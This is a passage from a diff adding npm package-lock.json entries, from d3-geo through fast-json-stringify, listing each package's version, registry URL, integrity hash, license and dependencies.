"sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", + "devOptional": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-geo": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-3.1.0.tgz", + "integrity": "sha512-JEo5HxXDdDYXCaWdwLRt79y7giK8SbhZJbFWXqbRTolCHFI5jRqteLzCsq51NKbUoX0PjBVSohxrx+NoOUujYA==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "d3-array": "2.5.0 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "d3-color": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-path": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", + "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", + "devOptional": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-shape": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", + "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "d3-path": "^3.1.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", + "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "d3-array": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time-format": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "d3-time": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/dateformat": { + "version": "4.6.3", + "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-4.6.3.tgz", + "integrity": "sha512-2P0p0pFGzHS5EMnhdxQi7aJN+iMheud0UhG4dlE1DLAlvL8JHjJJTX/CSm4JXwV0Ka5nGk3zC5mcb5bUQUxxMA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/deepmerge-ts": { + "version": "7.1.5", + "resolved": "https://registry.npmjs.org/deepmerge-ts/-/deepmerge-ts-7.1.5.tgz", + "integrity": "sha512-HOJkrhaYsweh+W+e74Yn7YStZOilkoPb6fycpwNLKzSPtruFs48nYis0zy5yJz1+ktUhHxoRDJ27RQAWLIJVJw==", + "devOptional": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/defu": { + "version": "6.1.7", + "resolved": "https://registry.npmjs.org/defu/-/defu-6.1.7.tgz", + "integrity": "sha512-7z22QmUWiQ/2d0KkdYmANbRUVABpZ9SNYyH5vx6PZ+nE5bcC0l7uFvEfHlyld/HcGBFTL536ClDt3DEcSlEJAQ==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/delaunator": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/delaunator/-/delaunator-5.1.0.tgz", + "integrity": "sha512-AGrQ4QSgssa1NGmWmLPqN5NY2KajF5MqxetNEO+o0n3ZwZZeTmt7bBnvzHWrmkZFxGgr4HdyFgelzgi06otLuQ==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "robust-predicates": "^3.0.2" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/denque": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/denque/-/denque-2.1.0.tgz", + "integrity": "sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw==", + "devOptional": true, + "license": "Apache-2.0", + "engines": { + "node": ">=0.10" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/destr": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/destr/-/destr-2.0.5.tgz", + "integrity": "sha512-ugFTXCtDZunbzasqBxrK93Ik/DRYsO6S/fedkWEMKqt04xZ4csmnmwGDBAb07QWNaGMAmnTIemsYZCksjATwsA==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "dev": true, + "license": "Apache-2.0", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/dotenv": { + "version": "17.4.2", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-17.4.2.tgz", + "integrity": "sha512-nI4U3TottKAcAD9LLud4Cb7b2QztQMUEfHbvhTH09bqXTxnSie8WnjPALV/WMCrJZ6UV/qHJ6L03OqO3LcdYZw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, + "node_modules/dotenv-cli": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/dotenv-cli/-/dotenv-cli-11.0.0.tgz", + "integrity": "sha512-r5pA8idbk7GFWuHEU7trSTflWcdBpQEK+Aw17UrSHjS6CReuhrrPcyC3zcQBPQvhArRHnBo/h6eLH1fkCvNlww==", + "dev": true, + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.6", + "dotenv": "^17.1.0", + "dotenv-expand": "^12.0.0", + "minimist": "^1.2.6" + }, + "bin": { + "dotenv": "cli.js" + } + }, + "node_modules/dotenv-expand": { + "version": "12.0.3", + "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-12.0.3.tgz", + "integrity": "sha512-uc47g4b+4k/M/SeaW1y4OApx+mtLWl92l5LMPP0GNXctZqELk+YGgOPIIC5elYmUH4OuoK3JLhuRUYegeySiFA==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "dotenv": "^16.4.5" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, + "node_modules/dotenv-expand/node_modules/dotenv": { + "version": "16.6.1", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz", + "integrity": "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/effect": { + "version": "3.20.0", + "resolved": "https://registry.npmjs.org/effect/-/effect-3.20.0.tgz", + "integrity": "sha512-qMLfDJscrNG8p/aw+IkT9W7fgj50Z4wG5bLBy0Txsxz8iUHjDIkOgO3SV0WZfnQbNG2VJYb0b+rDLMrhM4+Krw==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@standard-schema/spec": "^1.0.0", + "fast-check": "^3.23.1" + } + }, + "node_modules/elkjs": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/elkjs/-/elkjs-0.11.1.tgz", + "integrity": "sha512-zxxR9k+rx5ktMwT/FwyLdPCrq7xN6e4VGGHH8hA01vVYKjTFik7nHOxBnAYtrgYUB1RpAiLvA1/U2YraWxyKKg==", + "devOptional": true, + "license": "EPL-2.0" + }, + "node_modules/empathic": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/empathic/-/empathic-2.0.0.tgz", + "integrity": "sha512-i6UzDscO/XfAcNYD75CfICkmfLedpyPDdozrLMmQc5ORaQcdMoc21OnlEylMIqI7U8eniKrPMxxtj8k0vhmJhA==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">=14" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.5", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", + "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==", + "dev": true, + "license": "MIT", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/env-paths": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-3.0.0.tgz", + "integrity": "sha512-dtJUTepzMW3Lm/NPxRf3wP4642UWhjL2sQxc+ym2YMj1m/H2zDNQOlezafzkHwn6sMstjHTwG6iQQsctDW/b1A==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.3.2.tgz", + "integrity": "sha512-poHGpORABojJJucnV9KbOavETW8lBVnphkW77ER5/BQ5Fz7oXSoCNek7IH3vR5nRjdsEz926ibFYX8KtLQmdyw==", + "dev": true, + "license": "MIT" + }, + "node_modules/es-object-atoms": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", + "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/esbuild": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.28.2.tgz", + "integrity": "sha512-HKVLS8dvII+xoKW9kmqxbRKrnWEXfJJr/FZhhJmiqIB0e053QNYFqOBouTMO/k5sID4MvCiUCvv8b9M4h32wIA==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.28.2", + "@esbuild/android-arm": "0.28.2", + "@esbuild/android-arm64": "0.28.2", + "@esbuild/android-x64": "0.28.2", + "@esbuild/darwin-arm64": "0.28.2", + "@esbuild/darwin-x64": "0.28.2", + "@esbuild/freebsd-arm64": "0.28.2", + "@esbuild/freebsd-x64": "0.28.2", + "@esbuild/linux-arm": "0.28.2", + "@esbuild/linux-arm64": "0.28.2", + "@esbuild/linux-ia32": "0.28.2", + "@esbuild/linux-loong64": "0.28.2", + "@esbuild/linux-mips64el": "0.28.2", + "@esbuild/linux-ppc64": "0.28.2", + "@esbuild/linux-riscv64": "0.28.2", + "@esbuild/linux-s390x": "0.28.2", + "@esbuild/linux-x64": "0.28.2", + "@esbuild/netbsd-arm64": "0.28.2", + "@esbuild/netbsd-x64": "0.28.2", + "@esbuild/openbsd-arm64": "0.28.2", + "@esbuild/openbsd-x64": "0.28.2", + "@esbuild/openharmony-arm64": "0.28.2", + "@esbuild/sunos-x64": "0.28.2", + "@esbuild/win32-arm64": "0.28.2", + "@esbuild/win32-ia32": "0.28.2", + "@esbuild/win32-x64": "0.28.2" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "license": "MIT" + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint": { + "version": "10.10.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-10.10.0.tgz", + "integrity": "sha512-NPXn6r5zl4uET1DAVPaOwzX3rut4c0wcmw3dWJAfOsTM5+TogXo0DDjz8pwm/hL8cyVNpHqeK4JpN0NjnyFFNw==", + "dev": true, + "license": "MIT", + "workspaces": [ + "packages/*" + ], + "dependencies": { + "@eslint-community/eslint-utils": "^4.8.0", + "@eslint-community/regexpp": "^4.12.2", + "@eslint/config-array": "^0.23.5", + "@eslint/config-helpers": "^0.7.0", + "@eslint/core": "^1.2.1", + "@eslint/plugin-kit": "^0.7.3", + "@humanfs/node": "^0.16.6", + "@humanwhocodes/module-importer": "^1.0.1", + "@humanwhocodes/retry": "^0.4.2", + "@types/estree": "^1.0.6", + "ajv": "^6.14.0", + "cross-spawn": "^7.0.6", + "debug": "^4.3.2", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^9.1.2", + "eslint-visitor-keys": "^5.0.1", + "espree": "^11.2.0", + "esquery": "^1.7.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "11.1.5 || >11.1.6 <12", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "minimatch": "^10.2.5", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "jiti": "*" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + } + } + }, + "node_modules/eslint-config-prettier": { + "version": "10.1.8", + "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-10.1.8.tgz", + "integrity": "sha512-82GZUjRS0p/jganf6q1rEO25VSoHH0hKPCTrgillPjdI/3bgBhAE1QzHrHTizjpRvy6pGAvKjDJtk2pF9NDq8w==", + "dev": true, + "license": "MIT", + "bin": { + "eslint-config-prettier": "bin/cli.js" + }, + "funding": { + "url": "https://opencollective.com/eslint-config-prettier" + }, + "peerDependencies": { + "eslint": ">=7.0.0" + } + }, + "node_modules/eslint-scope": { + "version": "9.1.2", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-9.1.2.tgz", + "integrity": "sha512-xS90H51cKw0jltxmvmHy2Iai1LIqrfbw57b79w/J7MfvDfkIkFZ+kj6zC3BjtUwh150HsSSdxXZcsuv72miDFQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "@types/esrecurse": "^4.3.1", + "@types/estree": "^1.0.8", + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", + "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/espree": { + "version": "11.2.0", + "resolved": "https://registry.npmjs.org/espree/-/espree-11.2.0.tgz", + "integrity": "sha512-7p3DrVEIopW1B1avAGLuCSh1jubc01H2JHc8B4qqGblmg5gI9yumBgACjWo4JlIc04ufug4xJ3SQI8HkS/Rgzw==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "acorn": "^8.16.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^5.0.1" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esquery": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", + "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/event-target-shim": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz", + "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "license": "MIT", + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/eventsource": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-4.1.1.tgz", + "integrity": "sha512-D6bTRWh6KahHTK/m4WnjPQyEinNPf9eFLEZSEoj7d6fTibspnAVYfzHvirL7u/aoX5d9YYfIkBVAhmigUELk9w==", + "license": "MIT", + "dependencies": { + "eventsource-parser": "^3.0.1" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/eventsource-parser": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.1.tgz", + "integrity": "sha512-EKN1vKAMcZ8MlYMpaNuxN6R9yakzH6uajHcHVTqWJzvu5pWw9DyhbP35HH8MVBQ+dZjAfDxk+A8NiR9KWaXiyQ==", + "license": "MIT", + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/expect-type": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz", + "integrity": "sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/exsolve": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/exsolve/-/exsolve-1.1.1.tgz", + "integrity": "sha512-9U/jZUgjnSGyntRr6y5Muu1MJcwFl6kPu7k8qLF0IMNfLqvw0NZ4nnVDq0RVoZ0RvCyumib4Ez3KYrVfilrw+g==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/fast-check": { + "version": "3.23.2", + "resolved": "https://registry.npmjs.org/fast-check/-/fast-check-3.23.2.tgz", + "integrity": "sha512-h5+1OzzfCC3Ef7VbtKdcv7zsstUQwUDlYpUTvjeUsJAssPgLn7QzbboPtL5ro04Mq0rPOsMzl7q5hIbRs2wD1A==", + "devOptional": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ], + "license": "MIT", + "dependencies": { + "pure-rand": "^6.1.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/fast-copy": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/fast-copy/-/fast-copy-4.1.1.tgz", + "integrity": "sha512-A4QTJmuiztpGtr6AMeJts9R4hbj2ZBUwtOaKrG6rw2y7t6+IaJKjz5M3XDs8BUznxDH43FVc6A0y/gWlMl4UtA==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-decode-uri-component": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/fast-decode-uri-component/-/fast-decode-uri-component-1.0.1.tgz", + "integrity": "sha512-WKgKWg5eUxvRZGwW8FvfbaH7AXSh2cL+3j5fMGzUMCxWBJ3dV3a7Wz8y2f/uQ0e3B6WmodD3oS54jTQ9HVTIIg==", + "license": "MIT" + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "license": "MIT" + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-json-stringify": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fast-json-stringify/-/fast-json-stringify-7.0.1.tgz", + "integrity": "sha512-eRSayARSbbwlBjpP4vnTTIRD5QPcIrmihPxDeN1DtKnHPg66UuJLx+8hlK1kaFdjvzyQ/dzALoi4vwAQ+T+iZA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "@fastify/merge-json-schemas": "^0.2.0", + "ajv": "^8.12.0", + "ajv-formats": "^3.0.1", + "fast-uri": "^4.0.0", + "json-schema-ref-resolver": "^3.0.0", + "rfdc": "^1.2.0" + } + }, + "node_modules/fast-json-stringify/node_modules/ajv": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", + "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/fast-json-stringify/node_modules/ajv/node_modules/fast-uri": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.7.tgz", + "integrity": 